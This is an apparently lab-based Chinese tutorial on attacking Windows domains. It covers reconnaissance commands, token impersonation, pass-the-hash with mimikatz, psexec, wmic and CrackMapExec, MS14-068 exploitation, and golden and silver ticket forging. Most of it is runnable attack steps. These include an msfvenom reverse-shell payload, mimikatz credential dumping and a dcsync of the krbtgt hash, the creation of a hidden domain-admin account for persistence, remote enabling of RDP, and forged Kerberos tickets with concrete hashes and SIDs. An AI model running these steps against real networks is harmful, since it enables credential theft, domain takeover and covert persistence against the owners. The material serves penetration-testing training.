内网渗透
基础知识
工作组
工作组是局域网中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组

域(domain)
一个有安全边界的计算机集合
安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源
可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
域名服务器DNS
用于实现域名和与之相对应的 IP 地址转换的服务器。
因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。
在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的
DNS服务器和域控制器通常配置在同一台机器上
域术语
DC:域控,域的创建者
域管理:域控上的管理员
AD 活动目录:Active Directory
NTDS.dit:域用户帐户以域数据库的形式保存在活动目录中
Ntdsutil.exe-ntdsutil.exe 是域控制器自带的域数据库管理工具,从 windowsServer 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有的域用户信息
常见结构:组织单元(OU)、域(DOMAIN)、域树(tree)、域森林(forest),在域树内的所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据
活动目录:
- 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。 
- 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。 
- 环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。 
- 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。 
- 更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。 
- 活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台 
域搜集信息命令
query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain 查看有几个域
net view \\\\dc 查看 dc 域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain 查看域控
net config workstation 当前登录域 - 计算机名 - 用户名
net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源
ipconfig /all 查看当前环境
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -ano
nltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 级别和 sid 号
net sessoin 查看远程连接 session (需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn 记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称 windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a 查询通信主机发现
在域内进行横行渗透时,首先要收集主机的端口和 ip 信息
net view /domain 查询域发生系统错误 6118 出现这种错误时 Computer Browser服务被禁用了,需要在域控开启
net view /domain:域名 查看主机
arp -a 查询通信

nbtscscan查询主机
nbtscan.exe -r 192.168.0.0/24
bat 命令发现主机
for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="powershell 脚本扫描 IP 地址存活
https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"PowerShell端口扫描
针对单个 IP 的多个端口的扫描:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.0.135",$_)) "Port $_ is open!"} 2>$null
针对某 IP 段中单个端口的扫描:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}
针对某 IP 段 & 多个端口的扫描器
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}msf内网主机检测
模块
主机存活探测:
auxiliary/scanner/discovery/arp_sweep ARP 扫描
auxiliary/scanner/discovery/udp_sweep UDP 扫描
auxiliary/scanner/netbios/nbname NETBIOS 扫描
auxiliary/scanner/snmp/snmp_enum SNMP 扫描
auxiliary/scanner/smb/smb_version SMB 扫描
端口扫描:
auxiliary/scanner/portscan/ack TCP ACK 端口扫描
auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描
auxiliary/scanner/portscan/syn SYN 端口扫描
auxiliary/scanner/portscan/tcp TCP 端口扫描
auxiliary/scanner/portscan/xmas TCP XMas 端口扫描nmap
一个端口扫描器,可用于主机发现、端口扫描、版本检测、OS 检测等。
使用场景:建立 socks 代理,proxychains+Nmap 扫描内网。
支持多种扫描模式:
- -sT: TCP 扫描
- -sS: SYN 扫描
- -sA: ACK 扫描
- -sF:FIN 扫描
- -sU: UDP 扫描
- -sR: RPC 扫描
- -sP: ICMP 扫描
快速扫描所有端口:
半开放扫描
nmap -sS -p 1-65535 -v 192.168.0.135
域渗透思路
通过域成员主机定位处域控IP,利用域管理员可登录域中任何成员主机,定位出域管理员登陆过的IP,想办法从域成员主机中dump处域管理员密码,拿下域控,进而渗透整个内网
Token
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。
它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
- 访问令牌(Access Token):表示访问控制操作主体的系统对象
- 会话令牌(Session Token):是交互会话中唯一的身份标识符
- 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾
Windows的AccessToken有两种类型:
- Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
- Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use访问共享文件夹)。
两种 token 只在系统重启后清除,具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。
access token 的窃取和利用
AccessToken 的窃取与利用需要administrator管理员权限。也就是说要提权。
窃取 AccessToken 的方法:
- incognito.exe 程序
- InvokeTokenManipulat.ps1 脚本
- MSF 里的 incognito 模块
incognito
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
access token 列举 (需要administrator权限)
incognito.exe list_tokens -u
模拟其他用户
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
exit退出到之前的access token

msf下的incognito
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.80.134 -f exe -o msf.exe拿到meterpreter
use incognito #加载 incognito
list_tokens -u #列出 AccessToken
impersonate_token 12SERVER-01\Administrator #假冒 12server-01\adminstrator 的令牌
impersonate_token moonsec\\test #假冒 moonsec\test的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #假冒 System 的令牌除了可伪造令牌,也可从进程里窃取令牌
首先使用 ps 命令列出进程,查看进程
用户使用 steal_token pid 窃取令牌就有对应的权限。
rev2self 返回之前的token
横向渗透
PTH(pass-the-hash)hash传递
pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
pass the hash 原理:
- 在 Windows 系统中,通常会使用 NTLM 身份认证 
- NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser) 
- hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LMhash。 - 从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LMhash 
- 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用API 生成 hash 的过程) 
此攻击适用于:
- 域/工作组环境
- 可以获得 hash,但是条件不允许对 hash 爆破
- 内网中存在和当前机器相同的密码
打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外
mimikatz
它能从 lsass.exe进程中获取windows的账号及明文密码
需要在同一个ip段下
目标机
privilege::debug
sekurlsa::logonpasswords
或者把hash导出到password
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt本机
得到hash后执行
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
可看到不需要账号密码即可列出12server1的c盘
psexec
可在远程计算机上执行命令
原理通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务
利用 SMB 服务远程执行
可以通过明文或 hash 传递
条件 445 服务端口开放
在使用 PsExec 时需要注意以下几点:
- 需要远程系统开启 admin$ 共享(默认是开启的)
- 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
- 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
- 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
- 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
- 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。
使用明文密码登录
psexec /accepteula /s \\192.168.0.137 -u Administrator -p 123456 cmd
或者使用hash登录
psexec -hashes aaa:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.137
建立ip$,之后通过psexec直接连接
net use \\192.168.0.137\ipc$ "123456" /user:administrator
psexec /accepteula /s \\192.168.0.137 cmd
尝试登录域控,需要输入密码
psexec moonsec/Administrator@192.168.0.135
msf hash
同ip段下
拿到一个meterperter,在此处执行
如果不能执行可尝试迁移到其他进程下
hashdump
使用psexec登录
use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.137
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
CrackMapExec
https://github.com/byt3bl33d3r/CrackMapExec.git
在kali中安装下
sudo apt install CrackMapExec对192.168.0.0/24的C段进行批量pass the hash
crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4
wmic
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。
由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。
wmic命令
WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存
使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口
( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)
wmic /node:192.168.0.137 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
在靶机上可看到执行成功

这里我们可以建立IPC$,用type来读取结果
net use \\192.168.0.137\ipc$ "123456" /user:administrator
type \\192.168.0.137\c$\ip.txt
使用 wmic 远程开启目标的 RDP(3389)
适于 Windows xp、server 2003
wmic /node:192.168.0.137 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 
适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.0.137 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1
或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
可在靶机上看到开启了3389

判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections远程重启
wmic /node:192.168.0.137 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"
wmiexec.py
可用来直接获取 shell
我们这里简单的对PTH做下实验
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.137 "whoami"wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash,00000000000000000000000000000000 这个部分可以随便填写

用wmiexec.py明文获取shell
python3 wmiexec.py administrator:123456@192.168.0.137
wmiexec.vbs
wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能
wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
拿到一个交互式shell
cscript //nologo wmiexec.vbs /shell 192.168.0.137 administrator 123456
使用 vmiexec.vbs 执行单条命令
cscript wmiexec.vbs /cmd 192.168.0.137 administrator 123456 "ipconfig"
Invoke-WmiCommand
poweshell脚本
利用Powershell 调用 WMI 来远程执行命令
在 Powershell 中运行以下命令
\# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
\# 指定目标系统用户名
$User = ".\administrator"
\# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force
\# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password
\# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.137
\# 将执行结果输出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod
PowerShell 自带的一个模块,它来连接远程计算机执行命令和指定程序
指定目标系统用户名
$User=".\administrator"
指定目标系统密码
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force
将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.137" -Credential $Cred之后再靶机任务管理器上,可看到计算机的程序
PTT 票据传递攻击(Pass the Ticket)
kerberos协议
Kerberos 协议是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。
其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。
| 角色 | 作用 | 
|---|---|
| Domain Controller | 域控制器,简称 DC,一台计算机,实现用户、计算机的统一管理 | 
| Key Distribution Center | 秘钥分发中心,简称 KDC,默认安装在域控里,包括 AS 和 TGS | 
| Authentication Service | 身份验证服务,简称 AS,用于 KDC 对 Client 认证 | 
| Ticket Granting Service | 票据授予服务,简称 TGS,用于KDC 向 Client 和 Server 分发Session Key(临时秘钥) | 
| Active Directory | 活动目录,简称 AD,用于存储用户、用户组、域相关的信息 | 
| Client | 客户端,指用户 | 
| Server | 服务端,可能是某台计算机,也可能是某个服务 | 

kerberos认证原理
大致整个认证过程

- 首先 Client 向域控制器 DC 请求访问 Server,DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信。 
- 可信的话返回 TGT 给 Client,Client 得到 TGT(Ticket Granting Ticket)。 
- Client 继续拿着 TGT 请求 DC 访问 Server,TGS 通过 Client 消息中的 TGT,判断 Client 是否有访问权限。 
- 有的话则给 Client 有访问 Server 的权限 Ticket,也叫 ST(Service Ticket)。 
- Client 得到 Ticket 后,再去访问 Server,最终client与server建立通信。 - 该 Ticket 只针对这一个 Server有效。 
详细认证步骤:
- ASREQ & ASREP
- TGSREQ & TGSREP
- AP-REQ & AP-REP
ASREQ & ASREP
该阶段是 Client 和 AS 的认证,通过认证的客户端将获得 TGT

当域内某个客户端用户 Client 试图访问域内的某个服务,于是输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个 AS_REQ 认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息。
当 AS接收到client发送的身份信息后,AS 会先向活动目录 AD 请求,询问是否有此Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对 AS_REQ 请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在五分钟之内,则预认证成功。然后 AS 会生成一个临时秘钥 Session-Key AS,并使用客户端 Client 的 NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此Session-key AS 用于确保客户端和 KGS 之间的通信安全。
还有一部分内容就是 TGT:使用 KDC 一个特定账户的 NTLM-Hash 对 Session-keyAS、时间戳、Client-info 进行的加密。这个特定账户就是创建域控时自动生成的Krbtgt 用户,然后将这两部分以及 PAC 等信息回复给 Client,即 AS_REP。PAC 中包含的是用户的 SID、用户所在的组等一些信息。
AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀,Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和TGT,因此可以相互转化。
到此,第一步认证结束
TGSREQ & TGSREP
该阶段是 Client 和 TGS 的认证,通过认证的客户端将获得 ST 服务票据

客户端 Client 收到 AS 的回复 AS_REP 后分别获得了 TGT 和加密的 Session-KeyAS。它会先用自己的 Client NTLM-hash 解密得到原始的 Session-Key AS,然后它会在本地缓存此 TGT 和原始的 Session-Key AS,如果现在它就需要访问某台服务器上的服务,他就需要凭借这张 TGT 认购凭证向 KGS 购买相应的 ST 服务票据(也叫Ticket)。
此时 Client 会使用 Session-Key AS 加密时间戳、Client-info、Server-info 等数据作为一部分。由于 TGT 是用 Krbtgt 账户的 NTLM-Hash 加密的,Client 无法解密,所以 Client 会将 TGT 作为另一部分继续发送给 TGS。两部分组成的请求被称为TGS_REQ。
TGS 收到该请求,用 Krbtgt 用户的 NTLM-hash 先解密 TGT 得到 Session-key AS、时间戳、Client-info 以及 Server-info。再用 Session-key AS 解密第一部分内容,得到 Client-info、时间戳。然后将两部分获取到时间戳进行比较,如果时间戳跟当前时间相差太久,就需要重新认证。TGS 还会将这个 Client 的信息与 TGT 中的 Client信息进行比较,如果两个相等的话,还会继续判断 Client 有没有权限访问 Server,如果都没有问题,认证成功。认证成功后,KGS 会生成一个 Session-key TGS,并用 Session-key AS 加密 Session-key TGS 作为响应的一部分。此 Session-key TGS 用于确保客户端和服务器之间的通信安全。
另一部分是使用服务器 Server 的 NTLM-Hash 加密 Session-key TGS、时间戳以及Client-info 等数据生成的 ST。然后 TGS 将这两部分信息回复给 Client,即TGS_REP。
至此,client和KDC的通信结束
AP-REQ & AP-REP
该阶段是client和server的认证,通过认证的客户端将与服务器建立连接

客户端 Client 收到 TGS_REP 后,分别获得了 ST 和加密的 Session-Key TGS。它会先使用本地缓存了的 Session-key AS 解密出了原始的 Session-key TGS。然后它会在本地缓存此 ST 和原始的 Session-Key TGS,当客户端需要访问某台服务器上的服务时会向服务器发送请求。它会使用 Session-key TGS 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密,无法解密,所以会原封不动发送给 Server。两部分一块发送给 Server,这个请求即是AP_REQ。
Server 收到 AP_REQ 请求后,用自身的 Server NTLM-Hash 解密了 ST,得到Session-Key TGS,再解密出 Client-info、时间戳等数据。然后与 ST 的 Client-info、时间戳等进行一一对比。时间戳有效时间一般时间为 8 小时。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL进行对比,最后决定是否给用户提供相关的服务。通过认证后 Server 将返回最终的 AP-REP
PAC
PAC 是用来验证 Client 的访问权限,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS
我们在前面关于 Kerberos 认证流程的介绍中提到了 PAC(Privilege Attribute Certificate)这个东西,这是微软为了访问控制而引进的一个扩展,即特权访问证书。在上面的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 “Who am i?” 的问题,而没有解决 “What can I do?” 的问题。
为了解决上面的这个问题,微软引进了 PAC。
即 KDC 向客户端 Client 返回 AS_REP时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的 AP_REQ 请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的ACL 进行对比,最后决定是否给用户提供相关的服务。
但是在有些服务中并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户的 Hash,可以伪造 TGS,但是也不能制作 PAC,PAC 当然也验证不成功。
Kerberos认证中存在的安全问题
我们常说的 MS14-068、黄金票据、白银票据等就是基于 Kerberos 协议进行攻击。
黄金票据(Golden ticket)
黄金票据在利用过程中由 KDC颁发 TGT,并且在生成伪造的 TGT 的 20 分钟内,TGS 不会对该 TGT 的真伪进行效验
在 Windows 的 kerberos 认证过程中,Client 将自己的信息发送给 KDC,然后 KDC使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT。如果获取到了Krbtgt 的 NTLM-Hash 值,就可以伪造任意的 TGT 。因为 Krbtgt 只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
先假设这么一种情况,原先已拿到的域内所有的账户 Hash,包括 Krbtgt 这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt 密码,基于此条件,我们还能利用该票据重新获得域管理员权限。
利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。
白银票据(sliver ticket)
白银票据依赖于服务账号的密码散列值,它的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。
票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志
MS14-068
此漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。
密码喷洒攻击(password spraying)
针对同一个用户进行连续密码猜测会导致帐户被锁定,所以对所有用户同时执行特定的密码登录尝试,增加破解的概率并降低帐户被锁定的概率,就是我们用固定的密码去跑用户名
AS-REP Roasting
ASREQ & ASREP 认证的过程是 Kerberos 身份认证的第一步,称为预身份验证,主要是为了防止密码脱机爆破。
如果域用户关闭 “Do not require Kerberos preauthentication”预身份验证这个选项(默认开启)的话,可以使用指定的用户去请求票据,向域控发送 AS_REQ 请求,此时域控会不作任何验证便将 TGT 票据和加密的Session-key 等信息返回。就可以对获取到的加密 Session-key 进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。
票据传递攻击
介绍俩种域内攻击方法,黄金票据和白银票据
金票
原理
Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。
有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改
特点
- 不需要与AS进行交互
- 需要krbtgt的NTLM hash
ms14-068
伪造凭据,提升域内普通用户的权限
登录进一个域内主机

搜集域相关信息
net config workstation
或
nltest /dsgetdc:域名

首先先看此用户是否打了ms14-068的补丁,如果没打不返回信息
需要注意的是域内普通用户提权成功后是有时效性的
systeminfo |find "3011780"
此时我们是没有访问域控的权限

接下来提权我们用到mimikatz和ms14-068
接下来我们用ms14-068伪造凭证
首先查看用户的sid值
whoami /all
利用格式
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址ms14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi
可看到在当前目录生成了凭证
接下来我们用mimikatz
清空之前缓存的凭证,导入伪造的凭证
mimikatz
kerberos::purge  //清空票据
kerberos::ptc 票据文件地址  //导入凭证
然我们再访问域控,发现有了权限
未导入之前拒绝访问,现在是可以访问了

添加域管理员账号
因为此提权具有时效性,我们需要做权限维持,建立一个影子账号,把它添加到域管理中
net user xiaosha$ Qwe123... /add /domain&&net group "Domain Admins" xiaosha$ /add /domain也可用psexec反弹shell
PsExec64.exe /accepteula /s \\08server-dc.moonsec.fbi cmd.exe
伪造金票
前提条件:
- 域名称
- 域的 SID 值
- krbtgt 账号的 NTLM HASH
- 伪造任意用户名
登录域控管理员账户

我们利用mimikatz导出krbtgt账户信息
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /user:krbtgt" "exit">1.txt
利用mimikatz制作黄金票据
登录域普通用户,制作黄金票据
mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /krbtgt:811a536cf58aa23ceb8d439ffb386e6f /ticket:ticket.kirbi" exit/admin:伪造的用户名
/domain:域名称
/sid:SID 值,注意去掉最后一个-后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票据名称

使用mimikatz导入黄金票据到内存
没导入之前我们无法访问域控,拒绝访问
dir \\08server-dc\c$进入mimikatz,导入黄金票据
kerberos::purge #清除票据
kerberos:: ptt 票据地址 #将票据注入内存
之后即便域管理密码改变,只要krbtgt没有改变,我们就有域控的权限
银票
原理
在 Kerberos 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务
所以我们知道server用户的hash就可以伪造ST,不会经过KDC,但是只对部分服务起作用
特点
- 不与KDC交互
- 需要server的NTLM hash
伪造银票
登录域控管理员
使用mimikatz拿到账户信息
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

mimikatz伪造票据
进入普通域用户
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名>/service:<服务类型> /rc4:
/user:<用户名> /ptt 用户名任意,使用的服务可以从下面选择

这里我们用CIFS服务
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /target:08server-dc.moonsec.fbi /service:cifs /rc4:42e2656ec24331269f82160ff5962387 /user:administrator /ptt查看当前缓存的票证
klist
可以看到已经有了cifs服务的票证了,但是这里访问域控c盘没有成功
kekeo伪造环境银票
使用mimikatz没有成功,我们换一个工具尝试
进入kekeo所在路径
kekeo
kerberos::purge //清除票据
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387
将票据导入内存
kerberos::ptt 票据路径金票和银票的区别
获取权限不同,金票是伪造的TGT,可以获取任意kerberos的访问权限;银票是伪造的ST,只能访问指定的服务
认证流程不同,金票同TGS交互,不同AS交互;银票,不通过TGS交互,直接访问服务
加密方式不同,金票由krbtgt的 NTLM hash加密;银票由服务账号的 NTLM hash加密
 
                        
                        